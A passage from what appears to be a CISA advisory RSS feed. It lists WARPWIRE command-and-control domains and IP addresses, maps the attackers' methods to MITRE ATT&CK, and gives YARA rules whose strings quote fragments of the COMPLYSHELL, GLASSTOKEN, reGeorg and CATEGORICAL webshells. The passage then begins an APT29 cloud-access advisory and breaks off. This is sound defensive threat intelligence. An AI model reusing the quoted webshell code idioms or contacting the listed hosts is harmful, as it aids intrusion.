  2337. &lt;/tr&gt;
  2338. &lt;tr&gt;
  2339. &lt;td&gt;secure-cama[.]com&lt;/td&gt;
  2340. &lt;td&gt;Domain&lt;/td&gt;
  2341. &lt;td&gt;WARPWIRE variant C2 server&lt;/td&gt;
  2342. &lt;/tr&gt;
  2343. &lt;tr&gt;
  2344. &lt;td&gt;146.0.228[.]66&lt;/td&gt;
  2345. &lt;td&gt;IPv4&lt;/td&gt;
  2346. &lt;td&gt;WARPWIRE variant C2 server&lt;/td&gt;
  2347. &lt;/tr&gt;
  2348. &lt;tr&gt;
  2349. &lt;td&gt;159.65.130[.]146&lt;/td&gt;
  2350. &lt;td&gt;IPv4&lt;/td&gt;
  2351. &lt;td&gt;WARPWIRE variant C2 server&lt;/td&gt;
  2352. &lt;/tr&gt;
  2353. &lt;tr&gt;
  2354. &lt;td&gt;8.137.112[.]245&lt;/td&gt;
  2355. &lt;td&gt;IPv4&lt;/td&gt;
  2356. &lt;td&gt;WARPWIRE variant C2 server&lt;/td&gt;
  2357. &lt;/tr&gt;
  2358. &lt;tr&gt;
  2359. &lt;td&gt;91.92.254[.]14&lt;/td&gt;
  2360. &lt;td&gt;IPv4&lt;/td&gt;
  2361. &lt;td&gt;WARPWIRE variant C2 server&lt;/td&gt;
  2362. &lt;/tr&gt;
  2363. &lt;tr&gt;
  2364. &lt;td&gt;186.179.39[.]235&amp;nbsp;&lt;/td&gt;
  2365. &lt;td&gt;IPv4&lt;/td&gt;
  2366. &lt;td&gt;Mass exploitation activity&lt;/td&gt;
  2367. &lt;/tr&gt;
  2368. &lt;tr&gt;
  2369. &lt;td&gt;50.215.39[.]49&lt;/td&gt;
  2370. &lt;td&gt;IPv4&lt;/td&gt;
  2371. &lt;td&gt;Post-exploitation activity&lt;/td&gt;
  2372. &lt;/tr&gt;
  2373. &lt;tr&gt;
  2374. &lt;td&gt;45.61.136[.]14&lt;/td&gt;
  2375. &lt;td&gt;IPv4&lt;/td&gt;
  2376. &lt;td&gt;Post-exploitation activity&lt;/td&gt;
  2377. &lt;/tr&gt;
  2378. &lt;tr&gt;
  2379. &lt;td&gt;173.220.106[.]166&lt;/td&gt;
  2380. &lt;td&gt;IPv4&lt;/td&gt;
  2381. &lt;td&gt;Post-exploitation activity&lt;/td&gt;
  2382. &lt;/tr&gt;
  2383. &lt;/tbody&gt;
  2384. &lt;/table&gt;
  2385. &lt;h3&gt;&lt;strong&gt;APPENDIX C: MITRE ATT&amp;amp;CK TACTICS AND TECHNIQUES&lt;/strong&gt;&lt;/h3&gt;
  2386. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  2387. &lt;caption&gt;&lt;em&gt;Table 5: Cyber Actors ATT&amp;amp;CK Techniques for Enterprise&lt;/em&gt;&lt;/caption&gt;
  2388. &lt;thead&gt;
  2389. &lt;tr&gt;
  2390. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Initial Access&lt;/strong&gt;&lt;/th&gt;
  2391. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  2392. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  2393. &lt;/tr&gt;
  2394. &lt;tr&gt;
  2395. &lt;th role="columnheader"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  2396. &lt;th role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  2397. &lt;th role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  2398. &lt;/tr&gt;
  2399. &lt;tr&gt;
  2400. &lt;th role="columnheader"&gt;&lt;strong&gt;Persistence&lt;/strong&gt;&lt;/th&gt;
  2401. &lt;th role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  2402. &lt;th role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  2403. &lt;/tr&gt;
  2404. &lt;tr&gt;
  2405. &lt;th role="columnheader"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  2406. &lt;th role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  2407. &lt;th role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  2408. &lt;/tr&gt;
  2409. &lt;tr&gt;
  2410. &lt;th role="columnheader"&gt;&lt;strong&gt;Execution&lt;/strong&gt;&lt;/th&gt;
  2411. &lt;th role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  2412. &lt;th role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  2413. &lt;/tr&gt;
  2414. &lt;tr&gt;
  2415. &lt;th role="columnheader"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  2416. &lt;th role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  2417. &lt;th role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  2418. &lt;/tr&gt;
  2419. &lt;/thead&gt;
  2420. &lt;tbody&gt;
  2421. &lt;tr&gt;
  2422. &lt;td&gt;Exploit Public-Facing Applications&lt;/td&gt;
  2423. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1190/" title="Exploit Public-Facing Applications"&gt;T1190&lt;/a&gt;&lt;/td&gt;
  2424. &lt;td&gt;Cyber actors will use custom web shells planted on public facing applications which allows persistence in victims’ environment.&lt;/td&gt;
  2425. &lt;/tr&gt;
  2426. &lt;tr&gt;
  2427. &lt;td&gt;Valid Accounts&lt;/td&gt;
  2428. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1078/" title="Valid Accounts"&gt;T1078&lt;/a&gt;&lt;/td&gt;
  2429. &lt;td&gt;Cyber actors leverage compromised accounts to laterally move within internal systems via RDP, SBD, and SSH.&lt;/td&gt;
  2430. &lt;/tr&gt;
  2431. &lt;tr&gt;
  2432. &lt;td&gt;Server Software Component: Web Shell&lt;/td&gt;
  2433. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1505/003/" title="Server Software Component: Web Shell"&gt;T1505.003&lt;/a&gt;&lt;/td&gt;
  2434. &lt;td&gt;Cyber actors may use web shells on internal- and external-facing web servers to establish persistent access to systems.&lt;/td&gt;
  2435. &lt;/tr&gt;
  2436. &lt;tr&gt;
  2437. &lt;td&gt;Command and Scripting Interpreter: PowerShell&lt;/td&gt;
  2438. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1059/001/" title="Command and Scripting Interpreter: PowerShell"&gt;T1059.001&lt;/a&gt;&lt;/td&gt;
  2439. &lt;td&gt;Cyber actors leverage code execution from request parameters that are decoded from hex to base64 decoded, then passed to &lt;a href="https://learn.microsoft.com/en-us/dotnet/api/system.reflection.assembly.load?view=net-8.0" title="Assembly.Load Method"&gt;Assembly.Load()&lt;/a&gt;. Which is used to execute arbitrary powershell commands.&lt;/td&gt;
  2440. &lt;/tr&gt;
  2441. &lt;tr&gt;
  2442. &lt;td&gt;Exploitation for Client Execution&lt;/td&gt;
  2443. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1203/" title="Exploitation for Client Execution"&gt;T1203&lt;/a&gt;&lt;/td&gt;
  2444. &lt;td&gt;Cyber actors will exploit software vulnerabilities such as command-injection and achieve unauthenticated remote code execution (RCE).&lt;/td&gt;
  2445. &lt;/tr&gt;
  2446. &lt;/tbody&gt;
  2447. &lt;/table&gt;
  2448. &lt;h3&gt;&lt;strong&gt;APPENDIX D: DETECTION METHODS&lt;/strong&gt;&lt;/h3&gt;
  2449. &lt;table&gt;
  2450. &lt;tbody&gt;
  2451. &lt;tr&gt;
  2452. &lt;td&gt;
  2453. &lt;p&gt;&lt;code&gt;rule apt_webshell_pl_complyshell: UTA0178&lt;/code&gt;&lt;br&gt;&lt;code&gt;{&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; meta:&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; author = "threatintel@volexity.com"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; date = "2023-12-13"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; description = "Detection for the COMPLYSHELL webshell."&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; hash1 = "8bc8f4da98ee05c9d403d2cb76097818de0b524d90bea8ed846615e42cb031d2"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; os = "linux"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; os_arch = "all"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; report = "TIB-20231215"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; scan_context = "file,memory"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; last_modified = "2024-01-09T10:05Z"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; rule_id = 9995&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; version = 4&lt;/code&gt;&lt;/p&gt;
  2454. &lt;p&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; strings:&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $s = "eval{my $c=Crypt::RC4-&amp;gt;new("&lt;/code&gt;&lt;/p&gt;
  2455. &lt;p&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; condition:&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $s&lt;/code&gt;&lt;br&gt;&lt;code&gt;}&lt;/code&gt;&lt;/p&gt;
  2456. &lt;/td&gt;
  2457. &lt;/tr&gt;
  2458. &lt;/tbody&gt;
  2459. &lt;/table&gt;
  2460. &lt;table&gt;
  2461. &lt;tbody&gt;
  2462. &lt;tr&gt;
  2463. &lt;td&gt;
  2464. &lt;p&gt;&lt;code&gt;rule apt_webshell_aspx_glasstoken: UTA0178&lt;/code&gt;&lt;br&gt;&lt;code&gt;{&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; meta:&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; author = "threatintel@volexity.com"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; date = "2023-12-12"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; description = "Detection for a custom webshell seen on external facing server. The webshell contains two functions, the first is to act as a Tunnel, using code borrowed from reGeorg, the second is custom code to execute arbitrary .NET code."&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; hash1 = "26cbb54b1feb75fe008e36285334d747428f80aacdb57badf294e597f3e9430d"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; os = "win"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; os_arch = "all"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; report = "TIB-20231215"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; scan_context = "file,memory"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; last_modified = "2024-01-09T10:08Z"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; rule_id = 9994&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; version = 5&lt;/code&gt;&lt;/p&gt;
  2465. &lt;p&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; strings:&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $s1 = "=Convert.FromBase64String(System.Text.Encoding.Default.GetString(" ascii&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $re = /Assembly\.Load\(errors\)\.CreateInstance\("[a-z0-9A-Z]{4,12}"\).GetHashCode\(\);/&lt;/code&gt;&lt;/p&gt;
  2466. &lt;p&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; condition:&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for any i in (0..#s1):&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $re in (@s1[i]..@s1[i]+512)&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; )&lt;/code&gt;&lt;br&gt;&lt;code&gt;}&lt;/code&gt;&lt;/p&gt;
  2467. &lt;/td&gt;
  2468. &lt;/tr&gt;
  2469. &lt;/tbody&gt;
  2470. &lt;/table&gt;
  2471. &lt;table&gt;
  2472. &lt;tbody&gt;
  2473. &lt;tr&gt;
  2474. &lt;td&gt;
  2475. &lt;p&gt;&lt;code&gt;rule webshell_aspx_regeorg&lt;/code&gt;&lt;br&gt;&lt;code&gt;{&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; meta:&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; author = "threatintel@volexity.com"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; date = "2018-08-29"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; description = "Detects the reGeorg webshell based on common strings in the webshell. May also detect other webshells which borrow code from ReGeorg."&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; hash = "9d901f1a494ffa98d967ee6ee30a46402c12a807ce425d5f51252eb69941d988"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; os = "win"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; os_arch = "all"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; reference = "https://github.com/L-codes/Neo-reGeorg/blob/master/templates/tunnel.aspx"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; report = "TIB-20231215"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; scan_context = "file,memory"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; last_modified = "2024-01-09T10:04Z"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; rule_id = 410&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; version = 7&lt;/code&gt;&lt;/p&gt;
  2476. &lt;p&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; strings:&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $a1 = "every office needs a tool like Georg" ascii&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $a2 = "cmd = Request.QueryString.Get(\"cmd\")" ascii&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $a3 = "exKak.Message" ascii&lt;/code&gt;&lt;/p&gt;
  2477. &lt;p&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $proxy1 = "if (rkey != \"Content-Length\" &amp;amp;&amp;amp; rkey != \"Transfer-Encoding\")"&lt;/code&gt;&lt;/p&gt;
  2478. &lt;p&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $proxy_b1 = "StreamReader repBody = new StreamReader(response.GetResponseStream(), Encoding.GetEncoding(\"UTF-8\"));" ascii&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $proxy_b2 = "string rbody = repBody.ReadToEnd();" ascii&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $proxy_b3 = "Response.AddHeader(\"Content-Length\", rbody.Length.ToString());" ascii&lt;/code&gt;&lt;/p&gt;
  2479. &lt;p&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; condition:&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; any of ($a*) or&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $proxy1 or&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; all of ($proxy_b*)&lt;/code&gt;&lt;br&gt;&lt;code&gt;}&lt;/code&gt;&lt;/p&gt;
  2480. &lt;/td&gt;
  2481. &lt;/tr&gt;
  2482. &lt;/tbody&gt;
  2483. &lt;/table&gt;
  2484. &lt;table&gt;
  2485. &lt;tbody&gt;
  2486. &lt;tr&gt;
  2487. &lt;td&gt;
  2488. &lt;p&gt;&lt;code&gt;rule hacktool_py_pysoxy&lt;/code&gt;&lt;br&gt;&lt;code&gt;{&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; meta:&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; author = "threatintel@volexity.com"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; date = "2024-01-09"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; description = "SOCKS5 proxy tool used to relay connections."&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; hash1 = "e192932d834292478c9b1032543c53edfc2b252fdf7e27e4c438f4b249544eeb"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; os = "all"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; os_arch = "all"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; reference = "https://github.com/MisterDaneel/pysoxy/blob/master/pysoxy.py"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; report = "TIB-20240109"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; scan_context = "file,memory"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; last_modified = "2024-01-09T13:45Z"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; rule_id = 10065&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; version = 3&lt;/code&gt;&lt;/p&gt;
  2489. &lt;p&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; strings:&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $s1 = "proxy_loop" ascii&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $s2 = "connect_to_dst" ascii&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $s3 = "request_client" ascii&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $s4 = "subnegotiation_client" ascii&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $s5 = "bind_port" ascii&lt;/code&gt;&lt;/p&gt;
  2490. &lt;p&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; condition:&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; all of them&lt;/code&gt;&lt;br&gt;&lt;code&gt;}&lt;/code&gt;&lt;/p&gt;
  2491. &lt;/td&gt;
  2492. &lt;/tr&gt;
  2493. &lt;/tbody&gt;
  2494. &lt;/table&gt;
  2495. &lt;table&gt;
  2496. &lt;tbody&gt;
  2497. &lt;tr&gt;
  2498. &lt;td&gt;
  2499. &lt;p&gt;&lt;code&gt;rule apt_webshell_py_categorical: UTA0178&lt;/code&gt;&lt;/p&gt;
  2500. &lt;p&gt;&lt;code&gt;{&lt;/code&gt;&lt;/p&gt;
  2501. &lt;p&gt;&lt;code&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; meta:&lt;/code&gt;&lt;/p&gt;
  2502. &lt;p&gt;&lt;code&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; author = "threatintel@volexity.com"&lt;/code&gt;&lt;/p&gt;
  2503. &lt;p&gt;&lt;code&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; date = "2024-01-18"&lt;/code&gt;&lt;/p&gt;
  2504. &lt;p&gt;&lt;code&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; description = "Detection for the CATEGORICAL webshell."&lt;/code&gt;&lt;/p&gt;
  2505. &lt;p&gt;&lt;code&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; os = "linux"&lt;/code&gt;&lt;/p&gt;
  2506. &lt;p&gt;&lt;code&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; os_arch = "all"&lt;/code&gt;&lt;/p&gt;
  2507. &lt;p&gt;&lt;code&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; scan_context = "file,memory"&lt;/code&gt;&lt;/p&gt;
  2508. &lt;p&gt;&lt;code&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; severity = "critical"&lt;/code&gt;&lt;/p&gt;
  2509. &lt;p&gt;&amp;nbsp;&lt;/p&gt;
  2510. &lt;p&gt;&lt;code&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; strings:&lt;/code&gt;&lt;/p&gt;
  2511. &lt;p&gt;&lt;code&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $s1 = "exec(zlib.decompress(aes.decrypt(base64.b64decode" ascii&lt;/code&gt;&lt;/p&gt;
  2512. &lt;p&gt;&lt;code&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $s2 = "globals()[dskey].pop('result',None)" ascii&lt;/code&gt;&lt;/p&gt;
  2513. &lt;p&gt;&lt;code&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $s3 = "dsid=request.cookies.get('DSID'" ascii&lt;/code&gt;&lt;/p&gt;
  2514. &lt;p&gt;&amp;nbsp;&lt;/p&gt;
  2515. &lt;p&gt;&lt;code&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; condition:&lt;/code&gt;&lt;/p&gt;
  2516. &lt;p&gt;&lt;code&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; any of ($s*)&lt;/code&gt;&lt;/p&gt;
  2517. &lt;p&gt;&lt;code&gt;}&lt;/code&gt;&lt;/p&gt;
  2518. &lt;/td&gt;
  2519. &lt;/tr&gt;
  2520. &lt;/tbody&gt;
  2521. &lt;/table&gt;
  2522. </description>
  2523.  <pubDate>Wed, 21 Feb 2024 15:30:03 EST</pubDate>
  2524.    <dc:creator>CISA</dc:creator>
  2525.    <guid isPermaLink="false">/node/21011</guid>
  2526.    </item>
  2527. <item>
  2528.  <title>SVR Cyber Actors Adapt Tactics for Initial Cloud Access</title>
  2529.  <link>https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-057a</link>
  2530.  <description>&lt;h4&gt;&lt;strong&gt;How SVR-Attributed Actors are Adapting to the Move of Government and Corporations to Cloud Infrastructure&lt;/strong&gt;&lt;/h4&gt;
  2531. &lt;h3&gt;&lt;strong&gt;OVERVIEW&lt;/strong&gt;&lt;/h3&gt;
  2532. &lt;p&gt;This advisory details recent tactics, techniques, and procedures (TTPs) of the group commonly known as APT29, also known as Midnight Blizzard, the Dukes, or Cozy Bear.&lt;/p&gt;
  2533. &lt;p&gt;The UK National Cyber Security Centre (NCSC) and international partners assess that APT29 is a cyber espionage group, almost certainly part of the SVR, an element of the Russian intelligence services. The US National Security Agency (NSA), the US Cybersecurity and Infrastructure Security Agency (CISA), the US Cyber National Mission Force (CNMF), the Federal Bureau of Investigation (FBI), Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC), the Canadian Centre for Cyber Security (CCCS), and New Zealand Government Communications Security Bureau (GCSB) agree with this attribution and the details provided in this advisory.&lt;/p&gt;
  2534. &lt;p&gt;This advisory provides an overview of TTPs deployed by the actor to gain initial access into the cloud environment and includes advice to detect and mitigate this activity.&lt;/p&gt;
  2535. &lt;p&gt;To download the PDF version of this report, click &lt;a href="https://www.ncsc.gov.uk/files/Advisory-SVR-cyber-actors-adapt-tactics-for-initial-cloud-access.pdf"&gt;here&lt;/a&gt;.&lt;/p&gt;
  2536. &lt;h3&gt;&lt;strong&gt;PREVIOUS ACTOR ACTIVITY&lt;/strong&gt;&lt;/h3&gt;
  2537. &lt;p&gt;The NCSC has previously detailed how Russian Foreign Intelligence Service (SVR) cyber actors have targeted governmental, think tank, healthcare, and energy targets for intelligence gain. It has now observed SVR actors expanding their targeting to include aviation, education, law enforcement, local and state councils, government financial departments, and military organizations.&lt;/p&gt;
  2538. &lt;p&gt;SVR actors are also known for:&lt;/p&gt;
  2539. &lt;ul&gt;
